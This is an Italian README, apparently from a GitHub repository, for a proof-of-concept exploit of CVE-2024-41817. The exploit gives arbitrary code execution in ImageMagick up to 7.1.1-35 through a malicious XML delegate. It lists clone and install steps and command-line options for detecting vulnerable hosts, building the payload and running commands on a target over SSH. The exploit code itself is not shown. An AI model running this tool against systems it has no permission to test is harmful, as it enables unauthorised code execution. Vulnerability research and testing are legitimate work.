
CVE-2024-41817 POC ImageMagick <= 7.1.1-35 Esecuzione di codice arbitrario
Proof of Concept exploit per le versioni di ImageMagick <= 7.1.1-35 che consente l'esecuzione arbitraria di codice tramite delega XML dannosa.
Questo exploit sfrutta una vulnerabilità in ImageMagick che consente l'esecuzione arbitraria di codice tramite librerie appositamente create. Lo script può:
git clone https://github.com/Dxsk/CVE-2024-41817-poc/
cd CVE-2024-41817-poc
pip install -r requirements.txt
python3 exploit.py -H <target> -p <port> -u <user> -P <password> -d
python3 exploit.py -c "command" -B
python3 exploit.py -c "command" -H <target> -p <port> -u <user> -P <password> -A
-c, --command: Comando da eseguire (predefinito: "id")-H, --host: Host di destinazione-p, --port: Porta SSH (predefinita: 22)-u, --username: Nome utente SSH-P, --password: Password SSH-d, --detection: Rileva automaticamente se ImageMagick è vulnerabile-B, --build: Crea solo il payload-A, --auto: Modalità completamente automatica-v, --verbose: Output dettagliatoQuesto strumento è solo a scopo educativo. Utilizzalo solo contro sistemi che hai il permesso di testare.